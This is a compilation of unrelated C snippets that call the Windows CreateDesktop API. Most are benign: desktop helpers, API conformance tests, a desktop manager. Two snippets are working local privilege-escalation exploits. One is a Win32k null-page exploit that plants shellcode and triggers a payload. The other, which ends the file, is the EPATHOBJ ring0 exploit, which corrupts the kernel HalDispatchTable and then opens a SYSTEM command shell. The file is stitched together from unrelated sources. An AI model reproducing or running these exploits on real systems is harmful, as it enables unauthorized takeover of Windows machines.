/************************************************* * Create a new Desktop and run a Process in it. * * (Win NT+). * *************************************************/ int DLL_EXP_IMP WINAPI Process_Desktop(char *szDesktopName, char *szPath) { HDESK hOriginalThread; HDESK hOriginalInput; HDESK hNewDesktop; // Save original ... hOriginalThread = GetThreadDesktop(GetCurrentThreadId()); hOriginalInput = OpenInputDesktop(0, FALSE, DESKTOP_SWITCHDESKTOP); // Create a new Desktop and switch to it hNewDesktop = CreateDesktop(szDesktopName, NULL, NULL, 0, GENERIC_ALL, NULL); SetThreadDesktop(hNewDesktop); SwitchDesktop(hNewDesktop); // Execute process in new desktop StartProcess(szDesktopName, szPath); // Restore original ... SwitchDesktop(hOriginalInput); SetThreadDesktop(hOriginalThread); // Close the Desktop CloseDesktop(hNewDesktop); return 0; }
void Win32kNullPage(LPVOID lpPayload) { HMENU menu1 = NULL; HMENU menu2 = NULL; HANDLE gdi_handle = NULL; void *promise_land = NULL; ULONG interval = 0; PHANDLEENTRY aheList = NULL; PHANDLEENTRY target_handle = NULL; DWORD saved_bytes = 0; desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); SetThreadDesktop(desktop); if (!CreateAndRegisterClass(window_class_name)) { return; } if (AllocateNullPage() != STATUS_SUCCESS) { return; } *((PDWORD)promise_land + 0) = 0x000004eb; /* jmp 4 */ *((PDWORD)promise_land + 1) = 0x90909090; /* noooop */ *((PDWORD)promise_land + 2) = 0x000400b8; /* mov eax, 400 */ *((PDWORD)promise_land + 3) = 0x90d0ff00; /* call eax */ *((PDWORD)promise_land + 7) = 0x00; *((PDWORD)promise_land + 9) = 0x00; *((PDWORD)promise_land + 12) = 0x00; *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4); *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4); memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode)); window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); menu1 = CreatePopupMenu(); menu2 = CreateMenu(); SetMenu(window1, menu2); DestroyMenu(menu2); aheList = GetAheList(); *((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff); *((PDWORD)promise_land + 128) = 0x01; *((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104; target_handle = &aheList[((DWORD)menu2 & 0xffff)]; *((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE); memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY)); if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { return; } do { gdi_handle = CreateMetaFile(NULL); } while (gdi_handle != NULL); CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0); Sleep(500); TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL); CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL); return; }
/************************************************ * Create a new Desktop and run a Thread in it. * * (Win NT+). * ************************************************/ int DLL_EXP_IMP WINAPI Thread_Desktop(LPTHREAD_START_ROUTINE ThreadFunc, THREAD_DATA *td) { HDESK hOriginalThread; HDESK hOriginalInput; HDESK hNewDesktop; // Save original ... hOriginalThread = GetThreadDesktop(GetCurrentThreadId()); hOriginalInput = OpenInputDesktop(0, FALSE, DESKTOP_SWITCHDESKTOP); // Create a new Desktop and switch to it hNewDesktop = CreateDesktop(td->szDesktopName, NULL, NULL, 0, GENERIC_ALL, NULL); SetThreadDesktop(hNewDesktop); SwitchDesktop(hNewDesktop); // Execute thread in new desktop td->hDesk = hNewDesktop; StartThread(ThreadFunc, td); // Restore original ... SwitchDesktop(hOriginalInput); SetThreadDesktop(hOriginalThread); // Close the Desktop CloseDesktop(hNewDesktop); return 0; }
void GDD_Execu(struct tagGkWinRsc *desktop) { HWND hwnd; MSG msg; int w,h; pGkWinDesktop=desktop; w=pGkWinDesktop->right-pGkWinDesktop->left; h=pGkWinDesktop->bottom-pGkWinDesktop->top; hwnd =CreateDesktop(desktop_proc,"Desktop", 0,0,w,h, NULL); ShowWindow(hwnd,TRUE); while(1) { if(PeekMessage(&msg,hwnd)) { DispatchMessage(&msg); } else { Djy_EventDelay(mS*50); GDD_TimerExecu(GUI_GetTickMS()); // TouchScreenExecu(); } } }
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { try { wchar_t* desktop = L"NewDesktop"; HDESK hThreadDT = GetThreadDesktop(GetCurrentThreadId()); HDESK hInputDT = OpenInputDesktop(0, FALSE, DESKTOP_SWITCHDESKTOP); HDESK hNewDT = CreateDesktop(desktop, NULL, NULL, 0, GENERIC_ALL, NULL); SetThreadDesktop(hNewDT); SwitchDesktop(hNewDT); PROCESS_INFORMATION pi; STARTUPINFO si; memset(&pi, 0, sizeof(pi)); memset(&si, 0, sizeof(si)); si.cb = sizeof(si); si.lpDesktop = desktop; wchar_t cmdline[MAX_PATH]; wsprintf(cmdline, L"%s %s", L"NAMCredentialWizard.exe", L"/u"); if (CreateProcess(L"NAMCredentialWizard.exe", cmdline, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { WaitForSingleObject(pi.hProcess, INFINITE); } else { wchar_t msg[1000]; wsprintf(msg,L"CreateProcess failed (%d)",GetLastError()); MessageBox(NULL,msg,NULL,MB_OK); } SwitchDesktop(hInputDT); SetThreadDesktop(hThreadDT); CloseDesktop(hNewDT); return 0; } catch(...) { MessageBox(NULL,L"Caught Exception",NULL,MB_OK); } }
int main(int argc,char *argv[]) { if(argc!=2) return 0; hCurrent = GetThreadDesktop(GetCurrentThreadId()); hVirtualDesk = CreateDesktop("Virtual",NULL,NULL,DF_ALLOWOTHERACCOUNTHOOK,GENERIC_ALL,NULL); STARTUPINFO si; ZeroMemory( &si, sizeof(si) ); si.cb = sizeof(si); si.lpDesktop = "Virtual"; PROCESS_INFORMATION ProcInfo; ZeroMemory( &ProcInfo, sizeof(ProcInfo) ); CreateProcess(NULL, argv[1], NULL, NULL, false, 0, NULL, NULL, &si, &ProcInfo); //MessageBox(0,argv[1],argv[1],0); return 0; }
static DWORD CALLBACK thread( LPVOID arg ) { HDESK d1, d2; HWND hwnd = CreateWindowExA(0,"WinStationClass","test",WS_POPUP,0,0,100,100,GetDesktopWindow(),0,0,0); ok( hwnd != 0, "CreateWindow failed\n" ); d1 = GetThreadDesktop(GetCurrentThreadId()); trace( "thread %p desktop: %p\n", arg, d1 ); ok( d1 == initial_desktop, "thread %p doesn't use initial desktop\n", arg ); SetLastError( 0xdeadbeef ); ok( !CloseHandle( d1 ), "CloseHandle succeeded\n" ); ok( GetLastError() == ERROR_INVALID_HANDLE, "bad last error %d\n", GetLastError() ); SetLastError( 0xdeadbeef ); ok( !CloseDesktop( d1 ), "CloseDesktop succeeded\n" ); ok( GetLastError() == ERROR_BUSY || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); print_object( d1 ); d2 = CreateDesktop( "foobar2", NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL ); trace( "created desktop %p\n", d2 ); ok( d2 != 0, "CreateDesktop failed\n" ); SetLastError( 0xdeadbeef ); ok( !SetThreadDesktop( d2 ), "set thread desktop succeeded with existing window\n" ); ok( GetLastError() == ERROR_BUSY || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); DestroyWindow( hwnd ); ok( SetThreadDesktop( d2 ), "set thread desktop failed\n" ); d1 = GetThreadDesktop(GetCurrentThreadId()); ok( d1 == d2, "GetThreadDesktop did not return set desktop %p/%p\n", d1, d2 ); print_object( d2 ); if (arg < (LPVOID)5) { HANDLE hthread = CreateThread( NULL, 0, thread, (char *)arg + 1, 0, NULL ); Sleep(1000); WaitForSingleObject( hthread, INFINITE ); CloseHandle( hthread ); } return 0; }
void Desktops::SwitchToDesktop(int idx) { if (_current_desktop == idx) return; DesktopPtr& desktop = (*this)[idx]; DesktopThread* pThread = NULL; if (desktop.get()) { if (desktop->_hdesktop) if (!SwitchDesktop(desktop->_hdesktop)) return; } else { FmtString desktop_name(TEXT("Desktop %d"), idx); SECURITY_ATTRIBUTES saAttr = {sizeof(SECURITY_ATTRIBUTES), 0, TRUE}; /* HWINSTA hwinsta = CreateWindowStation(TEXT("ExplorerWinStation"), 0, GENERIC_ALL, &saAttr); if (!SetProcessWindowStation(hwinsta)) return; */ HDESK hdesktop = CreateDesktop(desktop_name, NULL, NULL, 0, GENERIC_ALL, &saAttr); if (!hdesktop) return; desktop = DesktopPtr(new Desktop(hdesktop/*, hwinsta*/)); pThread = new DesktopThread(*desktop); } _current_desktop = idx; if (pThread) { desktop->_pThread = DesktopThreadPtr(pThread); pThread->Start(); } }
static void test_getuserobjectinformation(void) { HDESK desk; WCHAR bufferW[20]; char buffer[20]; WCHAR foobarTestW[] = {'f','o','o','b','a','r','T','e','s','t',0}; WCHAR DesktopW[] = {'D','e','s','k','t','o','p',0}; DWORD size; BOOL ret; desk = CreateDesktop("foobarTest", NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL); ok(desk != 0, "open foobarTest desktop failed\n"); strcpy(buffer, "blahblah"); /** Tests for UOI_NAME **/ /* Get size, test size and return value/error code */ SetLastError(0xdeadbeef); size = 0xdeadbeef; ret = GetUserObjectInformationA(desk, UOI_NAME, NULL, 0, &size); ok(!ret, "GetUserObjectInformationA returned %x\n", ret); ok(GetLastError() == ERROR_INSUFFICIENT_BUFFER, "LastError is set to %08x\n", GetLastError()); ok(size == 22, "size is set to %d\n", size); /* Windows returns Unicode length (11*2) */ /* Get string */ SetLastError(0xdeadbeef); size = 0xdeadbeef; ret = GetUserObjectInformationA(desk, UOI_NAME, buffer, sizeof(buffer), &size); ok(ret, "GetUserObjectInformationA returned %x\n", ret); ok(GetLastError() == 0xdeadbeef, "LastError is set to %08x\n", GetLastError()); ok(strcmp(buffer, "foobarTest") == 0, "Buffer is set to '%s'\n", buffer); ok(size == 11, "size is set to %d\n", size); /* 11 bytes in 'foobarTest\0' */ /* Get size, test size and return value/error code (Unicode) */ SetLastError(0xdeadbeef); size = 0xdeadbeef; ret = GetUserObjectInformationW(desk, UOI_NAME, NULL, 0, &size); ok(!ret, "GetUserObjectInformationW returned %x\n", ret); ok(GetLastError() == ERROR_INSUFFICIENT_BUFFER, "LastError is set to %08x\n", GetLastError()); ok(size == 22, "size is set to %d\n", size); /* 22 bytes in 'foobarTest\0' in Unicode */ /* Get string (Unicode) */ SetLastError(0xdeadbeef); size = 0xdeadbeef; ret = GetUserObjectInformationW(desk, UOI_NAME, bufferW, sizeof(bufferW), &size); ok(ret, "GetUserObjectInformationW returned %x\n", ret); ok(GetLastError() == 0xdeadbeef, "LastError is set to %08x\n", GetLastError()); ok(lstrcmpW(bufferW, foobarTestW) == 0, "Buffer is not set to 'foobarTest'\n"); ok(size == 22, "size is set to %d\n", size); /* 22 bytes in 'foobarTest\0' in Unicode */ /** Tests for UOI_TYPE **/ /* Get size, test size and return value/error code */ SetLastError(0xdeadbeef); size = 0xdeadbeef; ret = GetUserObjectInformationA(desk, UOI_TYPE, NULL, 0, &size); ok(!ret, "GetUserObjectInformationA returned %x\n", ret); ok(GetLastError() == ERROR_INSUFFICIENT_BUFFER, "LastError is set to %08x\n", GetLastError()); ok(size == 16, "size is set to %d\n", size); /* Windows returns Unicode length (8*2) */ /* Get string */ SetLastError(0xdeadbeef); size = 0xdeadbeef; ret = GetUserObjectInformationA(desk, UOI_TYPE, buffer, sizeof(buffer), &size); ok(ret, "GetUserObjectInformationA returned %x\n", ret); ok(GetLastError() == 0xdeadbeef, "LastError is set to %08x\n", GetLastError()); ok(strcmp(buffer, "Desktop") == 0, "Buffer is set to '%s'\n", buffer); ok(size == 8, "size is set to %d\n", size); /* 8 bytes in 'Desktop\0' */ /* Get size, test size and return value/error code (Unicode) */ size = 0xdeadbeef; SetLastError(0xdeadbeef); ret = GetUserObjectInformationW(desk, UOI_TYPE, NULL, 0, &size); ok(!ret, "GetUserObjectInformationW returned %x\n", ret); ok(GetLastError() == ERROR_INSUFFICIENT_BUFFER, "LastError is set to %08x\n", GetLastError()); ok(size == 16, "size is set to %d\n", size); /* 16 bytes in 'Desktop\0' in Unicode */ /* Get string (Unicode) */ SetLastError(0xdeadbeef); size = 0xdeadbeef; ret = GetUserObjectInformationW(desk, UOI_TYPE, bufferW, sizeof(bufferW), &size); ok(ret, "GetUserObjectInformationW returned %x\n", ret); ok(GetLastError() == 0xdeadbeef, "LastError is set to %08x\n", GetLastError()); ok(lstrcmpW(bufferW, DesktopW) == 0, "Buffer is not set to 'Desktop'\n"); ok(size == 16, "size is set to %d\n", size); /* 16 bytes in 'Desktop\0' in Unicode */ ok(CloseDesktop(desk), "CloseDesktop failed\n"); }
static void test_handles(void) { HWINSTA w1, w2, w3; HDESK d1, d2, d3; HANDLE hthread; DWORD id, flags, le; ATOM atom; char buffer[20]; /* win stations */ w1 = GetProcessWindowStation(); ok( GetProcessWindowStation() == w1, "GetProcessWindowStation returned different handles\n" ); ok( !CloseWindowStation(w1), "closing process win station succeeded\n" ); SetLastError( 0xdeadbeef ); ok( !CloseHandle(w1), "closing process win station handle succeeded\n" ); ok( GetLastError() == ERROR_INVALID_HANDLE, "bad last error %d\n", GetLastError() ); print_object( w1 ); flags = 0; ok( GetHandleInformation( w1, &flags ), "GetHandleInformation failed\n" ); ok( !(flags & HANDLE_FLAG_PROTECT_FROM_CLOSE) || broken(flags & HANDLE_FLAG_PROTECT_FROM_CLOSE), /* set on nt4 */ "handle %p PROTECT_FROM_CLOSE set\n", w1 ); ok( DuplicateHandle( GetCurrentProcess(), w1, GetCurrentProcess(), (PHANDLE)&w2, 0, TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" ); ok( CloseWindowStation(w2), "closing dup win station failed\n" ); ok( DuplicateHandle( GetCurrentProcess(), w1, GetCurrentProcess(), (PHANDLE)&w2, 0, TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" ); ok( CloseHandle(w2), "closing dup win station handle failed\n" ); w2 = CreateWindowStation("WinSta0", 0, WINSTA_ALL_ACCESS, NULL ); le = GetLastError(); ok( w2 != 0 || le == ERROR_ACCESS_DENIED, "CreateWindowStation failed (%u)\n", le ); if (w2 != 0) { ok( w2 != w1, "CreateWindowStation returned default handle\n" ); SetLastError( 0xdeadbeef ); ok( !CloseDesktop( (HDESK)w2 ), "CloseDesktop succeeded on win station\n" ); ok( GetLastError() == ERROR_INVALID_HANDLE || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" ); w2 = CreateWindowStation("WinSta0", 0, WINSTA_ALL_ACCESS, NULL ); ok( CloseHandle( w2 ), "CloseHandle failed\n" ); } else if (le == ERROR_ACCESS_DENIED) win_skip( "Not enough privileges for CreateWindowStation\n" ); w2 = OpenWindowStation("winsta0", TRUE, WINSTA_ALL_ACCESS ); ok( w2 != 0, "OpenWindowStation failed\n" ); ok( w2 != w1, "OpenWindowStation returned default handle\n" ); ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" ); w2 = OpenWindowStation("dummy name", TRUE, WINSTA_ALL_ACCESS ); ok( !w2, "open dummy win station succeeded\n" ); CreateMutexA( NULL, 0, "foobar" ); w2 = CreateWindowStation("foobar", 0, WINSTA_ALL_ACCESS, NULL ); le = GetLastError(); ok( w2 != 0 || le == ERROR_ACCESS_DENIED, "create foobar station failed (%u)\n", le ); if (w2 != 0) { w3 = OpenWindowStation("foobar", TRUE, WINSTA_ALL_ACCESS ); ok( w3 != 0, "open foobar station failed\n" ); ok( w3 != w2, "open foobar station returned same handle\n" ); ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" ); ok( CloseWindowStation( w3 ), "CloseWindowStation failed\n" ); w3 = OpenWindowStation("foobar", TRUE, WINSTA_ALL_ACCESS ); ok( !w3, "open foobar station succeeded\n" ); w2 = CreateWindowStation("foobar1", 0, WINSTA_ALL_ACCESS, NULL ); ok( w2 != 0, "create foobar station failed\n" ); w3 = CreateWindowStation("foobar2", 0, WINSTA_ALL_ACCESS, NULL ); ok( w3 != 0, "create foobar station failed\n" ); ok( GetHandleInformation( w2, &flags ), "GetHandleInformation failed\n" ); ok( GetHandleInformation( w3, &flags ), "GetHandleInformation failed\n" ); SetProcessWindowStation( w2 ); atom = GlobalAddAtomA("foo"); ok( GlobalGetAtomNameA( atom, buffer, sizeof(buffer) ) == 3, "GlobalGetAtomName failed\n" ); ok( !lstrcmpiA( buffer, "foo" ), "bad atom value %s\n", buffer ); ok( !CloseWindowStation( w2 ), "CloseWindowStation succeeded\n" ); ok( GetHandleInformation( w2, &flags ), "GetHandleInformation failed\n" ); SetProcessWindowStation( w3 ); ok( GetHandleInformation( w2, &flags ), "GetHandleInformation failed\n" ); ok( CloseWindowStation( w2 ), "CloseWindowStation failed\n" ); ok( GlobalGetAtomNameA( atom, buffer, sizeof(buffer) ) == 3, "GlobalGetAtomName failed\n" ); ok( !lstrcmpiA( buffer, "foo" ), "bad atom value %s\n", buffer ); } else if (le == ERROR_ACCESS_DENIED) win_skip( "Not enough privileges for CreateWindowStation\n" ); /* desktops */ d1 = GetThreadDesktop(GetCurrentThreadId()); initial_desktop = d1; ok( GetThreadDesktop(GetCurrentThreadId()) == d1, "GetThreadDesktop returned different handles\n" ); flags = 0; ok( GetHandleInformation( d1, &flags ), "GetHandleInformation failed\n" ); ok( !(flags & HANDLE_FLAG_PROTECT_FROM_CLOSE), "handle %p PROTECT_FROM_CLOSE set\n", d1 ); SetLastError( 0xdeadbeef ); ok( !CloseDesktop(d1), "closing thread desktop succeeded\n" ); ok( GetLastError() == ERROR_BUSY || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); SetLastError( 0xdeadbeef ); if (CloseHandle( d1 )) /* succeeds on nt4 */ { win_skip( "NT4 desktop handle management is completely different\n" ); return; } ok( GetLastError() == ERROR_INVALID_HANDLE, "bad last error %d\n", GetLastError() ); ok( DuplicateHandle( GetCurrentProcess(), d1, GetCurrentProcess(), (PHANDLE)&d2, 0, TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" ); ok( CloseDesktop(d2), "closing dup desktop failed\n" ); ok( DuplicateHandle( GetCurrentProcess(), d1, GetCurrentProcess(), (PHANDLE)&d2, 0, TRUE, DUPLICATE_SAME_ACCESS ), "DuplicateHandle failed\n" ); ok( CloseHandle(d2), "closing dup desktop handle failed\n" ); d2 = OpenDesktop( "dummy name", 0, TRUE, DESKTOP_ALL_ACCESS ); ok( !d2, "open dummy desktop succeeded\n" ); d2 = CreateDesktop( "foobar", NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL ); ok( d2 != 0, "create foobar desktop failed\n" ); SetLastError( 0xdeadbeef ); ok( !CloseWindowStation( (HWINSTA)d2 ), "CloseWindowStation succeeded on desktop\n" ); ok( GetLastError() == ERROR_INVALID_HANDLE || broken(GetLastError() == 0xdeadbeef), /* wow64 */ "bad last error %d\n", GetLastError() ); SetLastError( 0xdeadbeef ); d3 = CreateDesktop( "foobar", NULL, NULL, 0, DESKTOP_ALL_ACCESS, NULL ); ok( d3 != 0, "create foobar desktop again failed\n" ); ok( GetLastError() == 0xdeadbeef, "bad last error %d\n", GetLastError() ); ok( CloseDesktop( d3 ), "CloseDesktop failed\n" ); d3 = OpenDesktop( "foobar", 0, TRUE, DESKTOP_ALL_ACCESS ); ok( d3 != 0, "open foobar desktop failed\n" ); ok( d3 != d2, "open foobar desktop returned same handle\n" ); ok( CloseDesktop( d2 ), "CloseDesktop failed\n" ); ok( CloseDesktop( d3 ), "CloseDesktop failed\n" ); d3 = OpenDesktop( "foobar", 0, TRUE, DESKTOP_ALL_ACCESS ); ok( !d3, "open foobar desktop succeeded\n" ); ok( !CloseHandle(d1), "closing thread desktop handle succeeded\n" ); d2 = GetThreadDesktop(GetCurrentThreadId()); ok( d1 == d2, "got different handles after close\n" ); register_class(); trace( "thread 1 desktop: %p\n", d1 ); print_object( d1 ); hthread = CreateThread( NULL, 0, thread, (LPVOID)2, 0, &id ); Sleep(1000); trace( "get other thread desktop: %p\n", GetThreadDesktop(id) ); WaitForSingleObject( hthread, INFINITE ); CloseHandle( hthread ); }
void StartNewDesktop (int nCount) { ThreadData *ptd; TCHAR szDesk[50]; DWORD tID; ptd = (ThreadData*)GlobalAlloc(GMEM_FIXED,sizeof(ThreadData)); if (ptd) { ptd->index = nCount; // // Give the desktop a name. // wsprintf (szDesk, PSZ(IDS_DESKTOPNAME), nCount+1); // // First, try to open an existing desktop // if ( !(ptd->hDesk = OpenDesktop (szDesk, 0, FALSE, GENERIC_ALL))) { // // Failing an open, Create it // if (!(ptd->hDesk= CreateDesktop (szDesk, NULL, NULL,0,MAXIMUM_ALLOWED, NULL))) { MessageBox (NULL, PSZ(IDS_CREATEERROR), PSZ(IDS_ERRCAPTION), MB_OK); // //Mark this array slot as invalid // gDeskArray[nCount] = NULL; } } if (ptd->hDesk) { // // Save the handle to the global array. Start the new thread // gDeskArray[ptd->index] = ptd->hDesk; CloseHandle(CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadInit, (LPVOID)ptd, 0, &tID)); } } else { // // Out of memory // MessageBox (NULL, PSZ(IDS_CREATEERROR), PSZ(IDS_MEMERRCAPTION), MB_OK); // //Mark this array slot as invalid // gDeskArray[nCount] = NULL; } }
int main(int argc, char **argv) { HANDLE Thread; HDC Device; ULONG Size; ULONG PointNum; HMODULE KernelHandle; PULONG DispatchRedirect; PULONG Interval; ULONG SavedInterval; RTL_PROCESS_MODULES ModuleInfo; LogMessage(L_INFO, "\r--------------------------------------------------\n" "\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n" "\r------------------- taviso () cmpxchg8b com, programmeboy () gmail com ---\n" "\n"); NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile"); NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation"); Mutex = CreateMutex(NULL, FALSE, NULL); DispatchRedirect = (PVOID) HalDispatchRedirect; Interval = (PULONG) ShellCode; SavedInterval = Interval[0]; TargetPid = GetCurrentProcessId(); LogMessage(L_INFO, "NtQueryIntervalProfile () %p", NtQueryIntervalProfile); LogMessage(L_INFO, "NtQuerySystemInformation () %p", NtQuerySystemInformation); // Lookup the address of system modules. NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL); LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s () %p", ModuleInfo.Modules[0].FullPathName, ModuleInfo.Modules[0].ImageBase); // Lookup some system routines we require. KernelHandle = LoadLibrary(ModuleInfo.Modules[0].FullPathName + ModuleInfo.Modules[0].OffsetToFileName); HalDispatchTable = (ULONG) GetProcAddress(KernelHandle, "HalDispatchTable") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsInitialSystemProcess = (ULONG) GetProcAddress(KernelHandle, "PsInitialSystemProcess") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsReferencePrimaryToken = (ULONG) GetProcAddress(KernelHandle, "PsReferencePrimaryToken") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; PsLookupProcessByProcessId = (ULONG) GetProcAddress(KernelHandle, "PsLookupProcessByProcessId") - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; // Search for a ret instruction to install in the damaged HalDispatchTable. HalQuerySystemInformation = (ULONG) memchr(KernelHandle, 0xC3, ModuleInfo.Modules[0].ImageSize) - (ULONG) KernelHandle + (ULONG) ModuleInfo.Modules[0].ImageBase; LogMessage(L_INFO, "Discovered a ret instruction at %p", HalQuerySystemInformation); // Create our PATHRECORD in user space we will get added to the EPATHOBJ // pathrecord chain. PathRecord = VirtualAlloc(NULL, sizeof *PathRecord, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); LogMessage(L_INFO, "Allocated userspace PATHRECORD () %p", PathRecord); // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite // loop in EPATHOBJ::bFlatten(). PathRecord->flags = 0; PathRecord->next = PathRecord; PathRecord->prev = (PPATHRECORD)(0x42424242); LogMessage(L_INFO, " ->next @ %p", PathRecord->next); LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev); LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags); // Now we need to create a PATHRECORD at an address that is also a valid // x86 instruction, because the pointer will be interpreted as a function. // I've created a list of candidates in DispatchRedirect. LogMessage(L_INFO, "Searching for an available stub address..."); // I need to map at least two pages to guarantee the whole structure is // available. while (!VirtualAlloc(*DispatchRedirect & ~(PAGE_SIZE - 1), PAGE_SIZE * 2, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) { LogMessage(L_WARN, "\tVirtualAlloc(%#x) => %#x", *DispatchRedirect & ~(PAGE_SIZE - 1), GetLastError()); // This page is not available, try the next candidate. if (!*++DispatchRedirect) { LogMessage(L_ERROR, "No redirect candidates left, sorry!"); return 1; } } LogMessage(L_INFO, "Success, ExploitRecordExit () %#0x", *DispatchRedirect); // This PATHRECORD must terminate the list and recover. ExploitRecordExit = (PPATHRECORD) *DispatchRedirect; ExploitRecordExit->next = NULL; ExploitRecordExit->prev = NULL; ExploitRecordExit->flags = PD_BEGINSUBPATH; ExploitRecordExit->count = 0; LogMessage(L_INFO, " ->next @ %p", ExploitRecordExit->next); LogMessage(L_INFO, " ->prev @ %p", ExploitRecordExit->prev); LogMessage(L_INFO, " ->flags @ %u", ExploitRecordExit->flags); // This is the second stage PATHRECORD, which causes a fresh PATHRECORD // allocated from newpathrec to nt!HalDispatchTable. The Next pointer will // be copied over to the new record. Therefore, we get // // nt!HalDispatchTable[1] = &ExploitRecordExit. // // So we make &ExploitRecordExit a valid sequence of instuctions here. LogMessage(L_INFO, "ExploitRecord () %#0x", &ExploitRecord); ExploitRecord.next = (PPATHRECORD) *DispatchRedirect; ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1]; ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH; ExploitRecord.count = 4; LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next); LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev); LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags); LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4); // Generate a large number of Belier Curves made up of pointers to our // PATHRECORD object. for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { Points[PointNum].x = (ULONG)(PathRecord) >> 4; Points[PointNum].y = (ULONG)(PathRecord) >> 4; PointTypes[PointNum] = PT_BEZIERTO; } // Switch to a dedicated desktop so we don't spam the visible desktop with // our Lines (Not required, just stops the screen from redrawing slowly). SetThreadDesktop(CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL)); // Get a handle to this Desktop. Device = GetDC(NULL); // Take ownership of Mutex WaitForSingleObject(Mutex, INFINITE); // Spawn a thread to cleanup Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle"); // We need to cause a specific AllocObject() to fail to trigger the // exploitable condition. To do this, I create a large number of rounded // rectangular regions until they start failing. I don't think it matters // what you use to exhaust paged memory, there is probably a better way. // // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on // failure. Seriously, do some damn QA Microsoft, wtf. for (Size = 1 << 26; Size; Size >>= 1) { while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) NumRegion++; } LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion); LogMessage(L_INFO, "Flattening curves..."); for (PointNum = MAX_POLYPOINTS; PointNum && !Finished; PointNum -= 3) { BeginPath(Device); PolyDraw(Device, Points, PointTypes, PointNum); EndPath(Device); FlattenPath(Device); FlattenPath(Device); // Test if exploitation succeeded. NtQueryIntervalProfile(ProfileTotalIssues, Interval); // Repair any damage. *Interval = SavedInterval; EndPath(Device); } if (Finished) { LogMessage(L_INFO, "Success, launching shell...", Finished); ShellExecute(NULL, "open", "cmd", NULL, NULL, SW_SHOW); LogMessage(L_INFO, "Press any key to exit..."); getchar(); ExitProcess(0); } // If we reach here, we didn't trigger the condition. Let the other thread know. ReleaseMutex(Mutex); WaitForSingleObject(Thread, INFINITE); ReleaseDC(NULL, Device); // Try again... LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)"); LogMessage(L_INFO, "Press any key to exit..."); getchar(); ExitProcess(1); }